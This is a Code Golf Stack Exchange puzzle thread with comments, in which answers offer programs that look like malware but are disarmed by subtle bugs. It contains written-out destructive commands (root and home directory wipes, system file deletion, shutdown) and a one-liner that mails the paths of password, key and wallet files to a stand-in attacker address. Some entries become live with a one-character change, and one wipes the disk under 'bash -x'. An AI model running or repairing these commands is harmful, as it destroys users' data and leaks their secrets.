Trolling the troll

184

57

A troll has captured you and is forcing you to write malware (defined as a program that damages the computer that runs it). The troll can read and understand code, but is not so good at spotting bugs.

Your goal is to write a program that:

  1. Looks like malware; i.e., a beginning programmer reading the code will be convinced that the code causes damage to the computer running it.
  2. Actually does no damage at all.

NOTE: The troll reads only the code - not the comments. So the code itself should be clear and convincing enough.

EXAMPLE (bash):

rm - rf /home

This example looks like rm -rf /home which removes all home folders from the system, but actually, because of the space before the rf, this will not work and cause only a harmless error message.

This is an acceptable solution but it is not very good, because the bug is quite easy to detect.

On the other hand, a program that is complex and unreadable will also not be a very good solution, because it will not look like malware.

A good solution should be readable enough to convince the reader that it's malware, but contain a bug that is difficult to detect and renders it harmless.

This is a popularity contest, so the code with the most upvotes wins.

Erel Segal-Halevi

Posted 2014-03-10T08:17:54.640

Reputation: 1 885

Question was closed 2016-02-22T06:14:58.870

Dear god, I pity the poor programmer who forgets the one character that makes his code harmless. – Ashwin Gupta – 2016-02-22T04:40:47.490

I'm closing this challenge because underhanded contests are now considered off topic.

– Dennis – 2016-02-22T06:14:58.870

160I feel like you're trying to trick me into pasting rm - rf / into my shell... – undergroundmonorail – 2014-03-10T08:28:17.007

3

@undergroundmonorail you can use a shell simulator like this: http://www.compileonline.com/execute_bash_online.php

– Erel Segal-Halevi – 2014-03-10T08:29:45.190

2I was making a joke, but that's a cool site actually. – undergroundmonorail – 2014-03-10T08:30:16.843

2Looks like someone is looking advices for malware – ST3 – 2014-03-10T09:06:21.930

19Bash rm -rf / . Unless the system is very old , it will require --no-preserve-root :) – user80551 – 2014-03-10T10:59:50.643

10-1 because a) code-trolling and more importantly b) I'm very concerned by any questions regarding creating malware (even though it's fake it skirts very close). – Gareth – 2014-03-10T11:00:13.533

@user80551 right, fixed the example – Erel Segal-Halevi – 2014-03-10T11:04:46.563

2@ErelSegalHalevi I actually meant that as an answer. – user80551 – 2014-03-10T11:09:33.350

13@Gareth It's not really malware, though (which typically tries to be hidden and/or steal data these days), it's mostly completely obvious attempts to delete things, which any beginner programmer could write with little effort. – Bob – 2014-03-11T00:01:04.670

29rm - rf / isn't a valid example! It can cause damage if you have a file called rf in the current directory – gnibbler – 2014-03-11T05:17:14.470

3c:>fórmat c: /q /s – Sam – 2014-03-12T02:55:47.433

8@Gareth It "skirts fairly close" to malware by appearing to delete a file? You've got to be kidding me. – Navin – 2014-03-12T03:13:46.153

5Someone who uses other people's attack programs with little to no understanding is a script kiddie, not a troll. – JdeBP – 2014-03-12T16:55:11.017

2Yeah, and now I am gonna fix these answers(including the example given in question) and use them as malware! – Mukul Kumar – 2014-03-13T02:26:02.813

1@Gareth Spoil sport :P it's only theoretical... – w4etwetewtwet – 2014-03-15T12:09:04.973

3I wonder how many systems were ruined by guys testing their solution and failing – Sergey Telshevsky – 2014-03-19T14:03:16.760

2This question is very dangerous. Because when trying to create code for answer, I made some bugs in it and it worked 'properly' because of them. And this 'proper work' cost me some data :p – Alma Do – 2014-03-20T08:06:41.993

I would offer VimL blast but I'm not sure that actually satisfies the criteria... (presumably the troll is Vim-savvy?) – Kazark – 2014-04-01T16:48:03.880

1@gnibbler Or a file called -. – nyuszika7h – 2014-05-04T17:26:12.563

Answers

139

Bash

I've gone the other way. Instead of deleting everything on your hard drive, I'm gonna fill it up with junk.

This script creates a folder then continually concats all the files together and puts them in a new one, adding in the value of ls -al for good measure (and so that the starting file has something).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

except...

/bin/bash/ (instead of /bin/bash) is very unlikely to be a valid interpreter. This is just a common typo of mine. And, since "the shebang is technically a comment, the troll will ignore it"

James Webster

Posted 2014-03-10T08:17:54.640

Reputation: 2 809

3Cute. Nice misdirection. – Nate Eldredge – 2014-03-11T18:11:20.030

56+1. The first line in a script is a blind spot for many programmers (including myself). – Erel Segal-Halevi – 2014-03-12T06:19:32.040

44and the shebang is technically a comment, so the troll will ignore it – Brian Minton – 2014-03-12T13:15:36.617

14+1 for abusing the noncommenting comment :) thats really not obvious – masterX244 – 2014-03-12T18:14:18.690

37Running it as bash whatever.sh will ruin your trick... – Darkhogg – 2014-03-12T18:23:48.817

8@Darkhogg, what luck! I saved it as evil.command so that the troll can just double click it to open (on Mac at least) – James Webster – 2014-03-13T10:45:05.187

Why does the makeSpam works? I'm confused about the asterisk. – jnovacho – 2014-03-14T11:44:38.237

1The cat * means "print out the contents of every file in this directory". The second line adds the name and other information of every file in this directory. The last line prints all of this information into a new file. – James Webster – 2014-03-14T15:03:20.477

You will get various errors since you did not quote the variables, which will break your script as well. – Martin Ueding – 2014-03-16T19:25:07.377

4@queueoverflow, Which bit(s) do you think will cause errors? I actually ran this script and it had the desired, undesirable outcome. – James Webster – 2014-03-16T23:23:49.260

1Oh dear, as if this answer is one vote off being my "best answer" on any SE. – James Webster – 2014-03-18T11:07:29.340

114

Haskell

Check this manual page, removeDirectoryRecursive deletes a directory with all of its contents!

import System.Directory
main = return (removeDirectoryRecursive "/")

The correct code would be main = removeDirectoryRecursive "/"
The main function is supposed to return a concept of doing something. removeDirectoryRecursive "/" returns a concept of wiping your filesystem, but the return function (yes, it is a function), wraps its argument in a dummy concept of returning that value.
So we end up with a concept of returning a concept of wiping your drive. (Yo dawg I herd you like concepts.) The haskell runtime executes the concept returned from main and discards the returned value, which in our case is a concept of wiping your filesystem.

mniip

Posted 2014-03-10T08:17:54.640

Reputation: 9 396

For what it's worth, learning how monads work before learning how IO works is a bad idea. – Tanner Swett – 2015-01-16T02:42:04.427

85+1. I couldn't understand the bug even after I have read your explanation... – Erel Segal-Halevi – 2014-03-11T15:17:34.690

3As I understand this is a pointer mistake (pointing to the function's pointer instead of pointing to the function). Quite good, beginning programmers generally fall easily for pointers tricks. – gaborous – 2014-03-11T19:04:03.683

1@user1121352 Rather, it can be compared to just returning dangerous function without executing it. In haskell main return value gets dismissed anyway. – Cthulhu – 2014-03-11T19:35:56.797

3Basically, this would be similar to return removeDirectoryRecursive; as opposed to return removeDirectoryRecursive(); in C, is that correct? – 3Doubloons – 2014-03-11T19:47:53.007

4@user1121352 No. The function itself is called, but it cannot delete a file because it's pure. Instead it gives an IO action, which when returned from main, is executed and removes the file. Explicitly using the return function, however, creates an IO action whose purpose is just to create the value. – mniip – 2014-03-12T03:39:06.813

1@Cthulhu Not that either. See above comment, and I edited the answer. Hope this is more readable. – mniip – 2014-03-12T04:13:54.587

@mniip Function is called, but an action is returned and not executed. I still think it is perfectly ok to relate this to functions in other languages being returned not executed for actions are somewhat similar to functions and those languages don't have the actions of their own. – Cthulhu – 2014-03-12T04:18:24.687

4@Cthulhu return has nothing to do with return in other languages (or even with "returning" a value from a function). Neither do values of type IO a have a lot to do with functions in other languages. So the analogy is pretty hand-wavy – Niklas B. – 2014-03-12T23:40:10.680

3The program does nothing, but it returns an abstract representation of the concept of wiping your file system. Try explaining that to a troll! :-) I'm reminded of a line from The Mikado (if you haven't, seen it, you must!) where the Lord High Executioner explains why he lied about having carried out an execution: It's like this ... Your Majesty says "Kill a gentleman", and a gentleman is told off to be killed. Consequently, that gentleman is as good as dead, practically he IS dead, and if he is dead, why not say so? – Pitarou – 2014-03-15T09:52:13.053

3I just love this. I didn’t catch it, but I love it so much: Apparently, if you don’t understand Monads, you won’t get it. Yet it looks so simple. It’s perfect. – k.stm – 2014-03-16T11:37:31.547

1This answer is only popular because not many people know haskell. – Cameron Martin – 2014-03-19T11:25:42.550

1This won't compile as Main module. – Ray – 2014-08-15T20:15:40.893

103

PHP

Here's a recursive PHP script that attempts to delete every single file in your website. It could take a while to complete if the website is quite large, so be patient...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Just one teeny-weeny problem...

There is no delete() command in PHP. The script will fail as soon as it encounters this command, but no error message will be displayed because error reporting was suppressed by prefixing this command with @. The flashing GIF image gives the impression that something is happening, when absolutely nothing is happening at all.

r3mainer

Posted 2014-03-10T08:17:54.640

Reputation: 19 135

6http://www.php.net/manual/en/function.delete.php – user11153 – 2014-03-10T13:10:09.043

31^ as far I understand: there is no delete() function, the manual just says that this is "fake-entry" for anyone looking the right function(unlink). That does not mean there is some kind of "automatic" redirection in PHP. – Erti-Chris Eelmaa – 2014-03-10T13:15:33.840

1@Erti-ChrisEelmaa This is correct: php > delete('/tmp/file'); PHP Fatal error: Call to undefined function delete() in php shell code on line 1 – TimWolla – 2014-03-10T16:03:29.553

93@user11153 got trolled. – basher – 2014-03-10T19:14:52.940

34See, I thought the reason the errors would be ignored and execution would continue was because it was PHP. – Zoey – 2014-03-10T22:53:15.140

The @ before delete suppresses all errors (except fatal errors). It's the same as error_reporting(0);delete();error_reporting(E_ALL);. – Ismael Miguel – 2014-03-10T23:05:50.427

1@IsmaelMiguel (except fatal errors) not true, it's exactly fatal error which is being suppressed in this case. – Cthulhu – 2014-03-11T11:30:47.853

1

Just read the 1st constant's definition: http://www.php.net/manual/en/errorfunc.constants.php

– Ismael Miguel – 2014-03-11T13:47:00.793

17I think using a random non-existent function is a tad obvious (delete to delete files? There’s no reason to assume that’d fool anybody). How about unlⅰnk instead (which uses U+2170 instead of “i”)? – Konrad Rudolph – 2014-03-11T14:21:41.487

18@KonradRudolph A function named delete to delete files is completely believable in PHP. The only thing that's not believable is that if it was real, there would be 3 or 4 other ways of doing it and all but the one with the weirdest name would have serious security flaws. – Brendan Long – 2014-03-16T02:54:13.103

3Just wait until PHP introduce this function for real as an Alias to "unlink". Similarly to is_int() and is_integer() and this malware will be the real troller. – Mohammed Joraid – 2014-03-17T08:49:12.263

3But… the html and body elements are not closed ! This file is bad. Do not open this file ! – Nicolas Barbulesco – 2014-05-04T11:05:57.993

As for me (I don't know php), the @ symbol is strange as I see it here for the first time. And when the other code seems correct, this place causes some sense of a strange thing. – Qwertiy – 2014-11-21T19:01:41.837

93

Perl (Unix)

Deletes all files on the system.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Features

  • This is valid Perl. It even compiles and runs with -w and use strict!

  • No quibbles like C++'s delete. unlink really is the function to delete a file, rmdir really does remove a directory, etc.

  • Correctly handles deeply nested directories for which the absolute pathname may exceed the system's maximum length, by changing into each directory in order to use relative paths. Also, won't run out of directory handles, since it reads and closes the directory before recursing.

Spoiler

On Unix, the first entry in the root directory is normally "." so the program will perform an infinite recursion of chdir(".") until it runs out of memory and crashes.

Further notes

This was harder to get right than expected. If you don't use the chdir approach, you eventually get a pathname that's too long. Then -d returns false and the infinite recursion is broken, and files may actually get deleted! A similar bug can happen if you keep directory handles open; eventually you run out, opendir fails, killdir returns, and deletion starts to happen.

Nate Eldredge

Posted 2014-03-10T08:17:54.640

Reputation: 2 544

3"On Unix, the first entry in the root directory is normally "."". So, one more Windows-only malware? – Alexander – 2015-05-28T11:51:32.473

You say it will make the system crash so it is maleware and that's what you should not do? – timmyRS – 2016-02-07T04:12:31.657

1@timmyRS: The program will crash. The system will keep running just fine. – Nate Eldredge – 2016-02-07T06:45:11.710

Ohh sorry. xD did not get that – timmyRS – 2016-02-07T11:22:11.383

45"Then -d returns false and the infinite recursion is broken, and files may actually get deleted!" did you learn that the hard way? – Niklas B. – 2014-03-12T23:43:11.537

4@NiklasB.: Fortunately I tested a dummy version :) – Nate Eldredge – 2014-03-12T23:57:22.127

I expected that such code can delete only empty folders, but not files... – Qwertiy – 2014-11-21T19:12:19.183

81

Shell one-liner

This will steal all the victim's passwords, private keys, bitcoins, etc.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

Spoiler:

This may look as though it emails all those files to the troll, but actually it just emails their filenames.

Nate Eldredge

Posted 2014-03-10T08:17:54.640

Reputation: 2 544

4To email the contents, the cat, head or tail commands would have to be involved somewhere. – Agi Hammerthief – 2014-03-12T20:14:50.910

7Still leaking data no matter what. Is this trolling the trolling trolls? – Kyle Kelley – 2014-03-14T01:51:13.740

-exec cat '{}' \; | … – Martin Ueding – 2014-03-16T19:28:17.560

@queueoverflow -print0 | xargs -0 cat | – quantum – 2014-04-26T23:59:21.243

1I got it without the spoiler after reading the code 2-3 times. – nyuszika7h – 2014-05-04T17:32:30.650

74

Batch/CMD

Save

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

and make them run it with parameters of each of the drives on the computer.

%0 is always the first parameter - the file name. After this comes the set of actual parameters, but it has already deleted itself so it will not continue.

kitcar2000

Posted 2014-03-10T08:17:54.640

Reputation: 2 689

@Bob Yeah. That's just stupid. – SuperJedi224 – 2016-01-20T03:51:44.270

104Also relies on Batch's funny behaviour of closing the file and reopening it to read the next line for every line... – Bob – 2014-03-11T00:06:26.613

8DEL %0 will not work unless the extension of the file is specified in the command line and either the script is run by giving its full path or you are in the same directory. DEL "%~f0" would solve both problems and be resilient to spaces anywhere inside the path. Also %10 and upwards does not exist -- it translates to %1 followed by a literal 0. – Jon – 2014-03-11T09:02:41.410

14+1. Even if the troll understands what "DEL %0" does, you can convince him that this is only to clear the evidence, and it makes no harm as the batch file remains in memory until its execution is over (which is false, as Bob said). – Erel Segal-Halevi – 2014-03-11T16:47:26.410

2A clever troll would still think it strange to issue the command for self-deletion at the start of the file (rather than at the end), unless you take into account how notoriously error-prone batch scripts are. – Agi Hammerthief – 2014-03-12T20:12:54.123

1@NigelNquande: You could explain to the troll that you need to do it first, because you'll lose it after doing a SHIFT for the rest of the arguments – 3Doubloons – 2014-03-12T21:29:36.453

10@Bob I had no idea batch did that... that's horrible. – w4etwetewtwet – 2014-03-15T12:12:26.503

@snotwaffle: It could be simply explained. If the target would force shutdown the computer before the script would delete everything, the script would stay. This removes it, so when the target notices that files are being removed, the script already disappeared. – Konrad Borowski – 2014-08-15T11:02:07.400

@Bob This is ... braindead... – FUZxxl – 2014-08-16T20:22:07.653

48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Well, the original malware will not blow up your computer but can be annoying.

This is harmless because:

The eval will break the infinite loop and modify the message.

Michael M.

Posted 2014-03-10T08:17:54.640

Reputation: 12 173

40I'd upvote you, but you have 1337 rep. – scrblnrd3 – 2014-03-10T17:26:09.863

5So please don't ! :) – Michael M. – 2014-03-10T17:32:03.983

@scrblnd it's gone D: – Riking – 2014-03-11T02:51:42.543

11Down-vote bad answers until you get back to it. – David Starkey – 2014-03-11T15:17:55.610

@scrblnrd3 I upvoted still ;D – Anonymous Pi – 2014-03-11T16:02:22.993

4Just to explain for others, atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') will execute the following: "infiniteLoop=false;evilMessage=evilMessage.replace("spam","LOVE");" – Mohammed Joraid – 2014-03-17T08:59:35.880

Amazing! For those that did not understood, here is the atob API

– rafaelcastrocouto – 2014-03-20T12:32:41.350

45

Java

May the gods forgive me for submitting to your wretched demands, troll.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec does not invoke a shell, so glob expansion never happens and the command will unsuccessfully try to delete a home directory named literally "*"

that other guy

Posted 2014-03-10T08:17:54.640

Reputation: 551

Does java have an actual equivalent to c's system() function? – SuperJedi224 – 2016-01-20T03:53:24.993

@SuperJedi224 Nope, you have to specify /bin/sh -c or cmd /c or whatever manually. Makes sense since you never know what a command would do on a new OS. – that other guy – 2016-01-20T04:26:55.263

1So what is my home directory is called '*'? ;) – Vorac – 2014-03-19T08:35:25.527

6Honestly this is one of the better Java answers. This requires a pretty solid understanding of the (many) downfalls of Runtime.exec(). +1. – Qix - MONICA WAS MISTREATED – 2014-03-25T02:16:01.727

37

C

Since he doesn't read comments that should do it:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

C++ Version

thanks to DragonLord for this.

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Add this into the startup folder and restart the computer.

How it works:

??/ is a trigraph and will add the next line into the comment so basically it won't do anything. Note: do not try this trigraphs might be turned off in some compilers as default and must be turned on for this to work.

Mhmd

Posted 2014-03-10T08:17:54.640

Reputation: 2 019

If in some compiler it may work, is it real trolling? – Antonio Ragagnin – 2014-03-10T15:51:26.120

@Antonio is there a specification that the code should work in all compilers? – Mhmd – 2014-03-10T16:42:37.697

4Nope, but in a real situation, I'd prefer to not troll a troll with such code (I don't want to harm a troll!) – Antonio Ragagnin – 2014-03-10T16:49:49.693

2@AntonioRagagnin If this works on any compiler, that compiler is buggy. However, most modern compilers will warn about the use of trigraphs (but accept and compile the code). – Konrad Rudolph – 2014-03-11T14:24:53.637

8So if the Troll does not read comments and your solution is to make the malware into a comment, doesn't that mean all the troll sees is a function main with return 0? – David Starkey – 2014-03-11T15:20:36.030

@user689: If you treat this as C++ code (and it is well-formed C++), the International Standard for Programming Language C++, paragraph 2.4/1 specifies that the compiler replace the trigraph ??/ with \​. "Before any other processing takes place, each occurrence of one of the following sequences of three characters (“trigraph sequences”) is replaced by the single character indicated in Table 1." Table 1 includes "Trigraph: ??/, Replacement \​". – bwDraco – 2014-03-11T15:30:02.523

In the C++ version, should it be shutdown (one word)? – Canadian Luke – 2014-03-11T18:40:44.137

Also, add #include <cstdlib> to the C++ version - the system function is in this header. – bwDraco – 2014-03-11T22:12:10.927

What are iostream and namespace std used for here? – Ruslan – 2014-03-14T08:53:46.587

Admittedly this was posted after this was, but still, that.

– durron597 – 2014-03-25T13:45:17.780

@durron this was posted after so many people started using the same trick. It doesn't mean that this solution wasn't good when it was first posted. – Mhmd – 2014-03-28T14:17:27.810

1The ??/ is really an old trick...I'm sorry. – Isiah Meadows – 2014-04-21T21:34:10.350

@impinball and so is the answer :) – Mhmd – 2014-04-22T07:24:27.000

33

Java

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Using a escape character (the \n before ntoskrnl.exe is a newline instead of the normal N)

masterX244

Posted 2014-03-10T08:17:54.640

Reputation: 3 942

@EgorSkriptunoff file is locked – username.ak – 2016-02-06T20:55:41.000

20If you don't escape the other backslashes, the error may look even less conspicuous. The troll could think the language doesn't use backslash escapes – 3Doubloons – 2014-03-10T22:09:00.007

2@3Doubloons Wouldn't the code fail to compile in that case? – Neil – 2014-03-10T23:47:09.863

2@Neil: Good point. It wouldn't, but if the troll lets us go as soon as he's satisfied with his reading, we're in the clear – 3Doubloons – 2014-03-10T23:52:00.753

So this creates a new .exe and promptly deletes it :P? – theGreenCabbage – 2014-03-11T16:17:07.307

@theGreenCabbage No, I believe that it creates a new file object which points to an already existing .exe file (one which is rather important to the os no doubt) which is then deleted. – Kaya – 2014-03-11T16:33:17.827

@kaya: No, it will create a new file, because there's no file named "System32<linefeed>toskrnl.exe" in "C:\Windows". Java's File.delete() deletes the file represented by the object; if the backslash was properly escaped, the program would try to delete ntoskrnl.exe – 3Doubloons – 2014-03-11T19:46:28.300

youre right @3Doub stupidly it only works for windows pathnames – masterX244 – 2014-03-11T20:39:06.503

29new File("C:\ntldr").delete(); – Egor Skriptunoff – 2014-03-12T17:10:56.953

@EgorSkriptunoff what windows version? – masterX244 – 2014-03-12T17:15:57.963

1@masterX244 - XP – Egor Skriptunoff – 2014-03-12T17:17:26.540

1I'm sorry to say that escaping all the backslashes in the path except the last one is obvious, but perhaps that's because I know enough Java to pass a module in a programming course. If I had enough rep, I would have down-voted this answer. – Agi Hammerthief – 2014-03-12T20:27:16.267

3@EgorSkriptunoff It took me more than a while to realize that XP was not a variant of XD. – Justin – 2014-04-26T07:46:55.673

@Quincunx - LOL – Egor Skriptunoff – 2014-04-26T08:16:36.230

31

BASH

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t will exit after reading and executing one command. This script prints no output and all files are safe!

Or the following BUT READ SPOILER BEFORE RUNNING

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

By popular demand.. #!/bin/bash -t will exit after reading and executing one command. Don't run this under bash -x as it will ignore the -t and execute the commands in the script.

JOgden

Posted 2014-03-10T08:17:54.640

Reputation: 451

SPOILERS I'm a bit confused...what's the difference between set -t and exit? The Bash man page says that set -t exits after "one command," but it appears to count the set command itself as that command and exit immediately. – Kyle Strand – 2014-03-10T19:29:14.567

6If additional commands are on the same line as set -t (e.g separated by a semicolon or double ampersand etc) they will be executed. In this case a first line of set -t; echo "hahaha deleting files.." would echo that text then exit. – JOgden – 2014-03-10T19:56:39.127

2Ah. Thanks. Didn't realize there was ever a difference in behavior between ; and a newline. – Kyle Strand – 2014-03-10T20:02:11.993

4#!/bin/bash -t perhaps? – Neil – 2014-03-10T23:48:47.713

@neil - It's a great suggestion but I avoided it as someone may have tried to execute the script under bash -x to see how it worked. If you write #!/bin/bash -t in the script but execute bash -x ./script the commands in the script will be executed! Otherwise it's a much better (and sneakier) technique. – JOgden – 2014-03-10T23:53:28.637

2@JOgden it's too bad bash doesn't do the same shebang-parsing trick that perl does (if you run perl foo.pl and foo.pl begins with #!somethingendingin/perl -flags, perl will act like it was invoked with -flags) – hobbs – 2014-03-12T06:03:48.893

@hobbs TIL Perl does that. – nyuszika7h – 2014-05-04T17:42:42.467

30

Python

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

three quotes """ start a multiline string in Python

Antonio Ragagnin

Posted 2014-03-10T08:17:54.640

Reputation: 1 109

5

Wrong, they start multi-line strings http://docs.python.org/2/tutorial/introduction.html#strings

– user80551 – 2014-03-10T14:21:19.330

12I saw the problem literally within five seconds of seeing the answer, and I don't even know python. – The Guy with The Hat – 2014-03-10T15:36:41.033

6Nice idea, with the problem that if the troll uses syntax highlighting he'll spot it. – o0'. – 2014-03-11T08:49:17.850

1I think average troll sees a random malicious code in internet and just copypaste it in another forum. – Antonio Ragagnin – 2014-03-11T08:51:18.513

1Good, I'm experienced with Python and I didn't see the flaw. Using 4 quotes may have tricked me. – gaborous – 2014-03-11T19:06:27.900

I'm a bit drunk, and asterisks and quotes kinda (blur together) look the same from where I'm sitting at this font size. If I were the troll, you'd have succeeded. – Dan Lugg – 2014-03-16T04:08:01.413

Thank you, so did you clicked the up arrow? – Antonio Ragagnin – 2014-03-16T10:57:01.680

1os.remove(path) would have raised an OSError if path was a directory anyway. – moooeeeep – 2014-03-18T08:14:34.143

29

D

This program is valid and executes with no error. It spawns a deleting function in a new thread, that deletes the rootdirectory.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

But nothing is deleted...

because in D, a variable declared at module scope is thread-local by default. The main functions sets it to "/", but the spawn threads has an empty copy, so the rmdirRecurse function is not called.

biozic

Posted 2014-03-10T08:17:54.640

Reputation: 399

1Good! I managed to catch the bug in this one, although I don't know D. – Erel Segal-Halevi – 2014-03-10T11:01:32.817

1"a global variable is thread-local by default" That's somewhat of a contradiction there – Niklas B. – 2014-03-12T23:42:34.720

@NiklasB. What's the contradiction? – biozic – 2014-03-13T08:38:39.583

It is not a "global variable" then. Maybe "variable declared at top-level" is a better description? – Paŭlo Ebermann – 2014-03-13T15:51:44.613

Yes, edited! It is less ambiguous. Not entirely a contradiction though, at least lexically speaking. – biozic – 2014-03-13T17:22:59.347

I think you can remove if (root) - it should just throw instead. – Vladimir Panteleev – 2014-03-15T07:50:05.053

@CyberShadow Right. I thought at first that it would be better if no error occurred. – biozic – 2014-03-16T10:26:22.410

25

C (Unix)

Adding some ads never harmed anybody.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: it's a label, the goto jump to the label missing the harful code. :V

ilmale

Posted 2014-03-10T08:17:54.640

Reputation: 1 147

5I managed to spot this one :) – Erel Segal-Halevi – 2014-03-12T06:26:03.487

17The semicolon in the first URL is quite easy to spot in this font. But it's creative! – CompuChip – 2014-03-12T17:55:12.670

Well that was easy, see mine ! – Mukul Kumar – 2014-03-13T02:50:25.090

12goto considered helpful – None – 2014-03-13T07:02:06.897

1I noticed it because there's no semicolon after the goto. If you changed it to goto http;//www.trolling.com; (in both spots) I might have missed it. – wchargin – 2014-03-16T03:33:29.817

Really clever, actually. – Qix - MONICA WAS MISTREATED – 2014-03-25T02:13:39.233

Before return 0; theres just the address which would create an error... – andrbmgi – 2014-04-28T04:58:49.947

http://anything is a label followed by a line comment. :) – ilmale – 2014-04-28T13:50:53.840

2It wouldn't compile anyway, because there is no print function. – nyuszika7h – 2014-05-04T17:49:18.547

24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

No alert is shown. Since JavaScript doesn't require ; at the end of lines, it is automatically inserted after return, becoming return;. Then undefined, which is falsy, is returned instead of the "object" (which in fact is parsed as a block statement).

Oriol

Posted 2014-03-10T08:17:54.640

Reputation: 792

3Tempted to +1 just for the use of "truly" and "falsy" ;) – CompuChip – 2014-03-12T17:53:11.123

+1 because I work with JS on a regular basis and have looked at your code and explanation and still don't see how the semicolon causes the failure. – Agi Hammerthief – 2014-03-12T20:41:14.563

1+1 as this "flaw" in JS has caught me off guard numerous times... Had to reread it a couple times to see it – Mark Ormston – 2014-03-12T21:11:29.807

12@NigelNquande the semicolon doesn't cause the failure, the line break does. The return and the object that is supposed to be returned are on separate lines, so the object is never returned. To "fix", remove the line break so it reads return { – Dave Forber – 2014-03-13T00:02:28.663

1+1. Semicolon insertion stopped me from learning JavaScript. – ApproachingDarknessFish – 2014-03-13T22:07:12.253

3Hoping that the troll will not minify the code! – Mohammed Joraid – 2014-03-18T06:31:00.240

1Well, any minifier that changed the execution would be broken, although the leftover line split (or insertion of a semicolon) might tip a reader off. – SilverbackNet – 2014-03-24T05:12:12.357

2UglifyJS says WARN: Dropping side-effect-free statement [-:4,11] and returns function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");. – nyuszika7h – 2014-05-04T17:51:35.053

22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Swap the destroy alert for whatever nasty destructive action you would want to use.

Spoiler:

Although it looks like the config is set to delete... and it is! the 'var' declaration inside the function is "Hoisted" http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html and as a result is actually false when entering the function.

scunliffe

Posted 2014-03-10T08:17:54.640

Reputation: 321

Nice trick, but why would you reset the flag? – Mohammed Joraid – 2014-03-17T09:12:46.213

The "reset" was just an example... it could be any variable where the assignment is valid... just if prefixed with 'var' may/will have unintended consequences. – scunliffe – 2014-03-17T21:46:16.973

16

Java

Let's just delete some important files!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Hidden in the block comment is an extra }{ outside of the comment. That puts file deletion in a separate instance initialization block, which is executed before the constructor. At that time, importantFile is still null.

Joe K

Posted 2014-03-10T08:17:54.640

Reputation: 1 065

16I managed to spot this one :) – Erel Segal-Halevi – 2014-03-12T06:25:06.843

17This would be very, very obvious if the troll doesn't read the comments. – ApproachingDarknessFish – 2014-03-13T22:14:01.330

